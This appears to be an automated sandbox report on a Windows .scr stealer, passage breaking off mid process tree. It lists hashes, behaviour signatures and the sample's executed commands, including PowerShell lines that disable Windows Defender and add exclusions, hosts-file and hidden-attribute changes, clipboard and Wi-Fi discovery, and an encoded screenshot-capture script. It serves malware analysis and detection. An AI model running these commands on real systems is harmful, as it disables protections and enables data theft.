Overview

overview

10

Static

static

10

‏  ‎ .scr

windows10-2004-x64

8

Resubmissions

21-12-2024 23:00

241221-2zb9qatjhm 10

21-12-2024 22:54

241221-2vvv9sspbs 10

21-12-2024 21:16

241221-z4wstazmf1 10

Analysis

  • max time kernel
    106s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 22:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ‏  ‎ .scr

  • Size

    8.4MB

  • MD5

    4c2e99ad9f41635ec0a4d55ba7a813df

  • SHA1

    3087a6ddc6819bbc807e2fb08e38cac575a0ab5f

  • SHA256

    1faab4afb06b4c64fe101c192a011c6b46f6512508e731297b1cfa61d00be062

  • SHA512

    d5ba473a117d5cda57ac443af9b5974723352a73bad248c6403751b8bf81e232f25dcd69371d4b210e41561e52ffc61bbb813c2d8709843236ffb2f434de1f5e

  • SSDEEP

    196608:Wc0gf6uZjk99NgeNTfm/pf+xk4dWRpmrbW3jmr4:Df6NPy/pWu4kRpmrbmyr4

Score
8/10
collectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 6 IoCs
  • Clipboard Data 1 TTPs 4 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 36 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 10 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 6 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 2 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 18 IoCs
    evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 5 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr
    "C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr" /S
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1360
    • C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr
      "C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr" /S
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4152
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3064
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2704
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2292
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4528
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3736
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1304
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:2712
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4068
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:2460
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4276
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:4464
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4496
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:3712
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr""
            3⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:1596
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\Temp\‏  ‎ .scr"
              4⤵
              • Views/modifies file attributes
              PID:4848
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3156
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‏ .scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1708
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2124
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:5024
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2232
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4820
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4896
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              4⤵
                PID:3480
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
              3⤵
              • Clipboard Data
              PID:1988
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-Clipboard
                4⤵
                • Clipboard Data
                • Suspicious behavior: EnumeratesProcesses
                PID:4040
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
                PID:8
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  PID:2392
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                  PID:4428
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:4764
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                    3⤵
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:3148
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show profile
                      4⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Network Configuration Discovery: Wi-Fi Discovery
                      PID:4720
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "systeminfo"
                    3⤵
                      PID:1152
                      • C:\Windows\system32\systeminfo.exe
                        systeminfo
                        4⤵
                        • Gathers system information
                        PID:2136
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                      3⤵
                        PID:3260
                        • C:\Windows\system32\reg.exe
                          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                          4⤵
                            PID:116
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                          3⤵
                            PID:212
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4712
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ufwgoz0\4ufwgoz0.cmdline"
                                5⤵
                                  PID:2520
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA122.tmp" "c:\Users\Admin\AppData\Local\Temp\4ufwgoz0\CSC8E582E7AE6FF4AFCA2AB7733234AF9C.TMP"
                                    6⤵
                                      PID:2196
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:2036
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:2448
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                    3⤵
                                      PID:1500
                                      • C:\Windows\system32\attrib.exe
                                        attrib -r C:\Windows\System32\drivers\etc\hosts
                                        4⤵
                                        • Drops file in Drivers directory
                                        • Views/modifies file attributes
                                        PID:3964
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:5036
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:4384
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                          3⤵
                                            PID:2848
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              4⤵
                                                PID:1596
                                              • C:\Windows\system32\attrib.exe
                                                attrib +r C:\Windows\System32\drivers\etc\hosts
                                                4⤵
                                                • Drops file in Drivers directory
                                                • Views/modifies file attributes
                                                PID:956
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              3⤵
                                                PID:1188
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  4⤵
                                                    PID:1680
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                  3⤵
                                                    PID:5072
                                                    • C:\Windows\system32\tasklist.exe
                                                      tasklist /FO LIST
                                                      4⤵
                                                      • Enumerates processes with tasklist
                                                      PID:752
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:4864
                                                      • C:\Windows\system32\tree.com
                                                        tree /A /F
                                                        4⤵
                                                          PID:3668
                                                      • C:\Windows\system32\cmd.exe
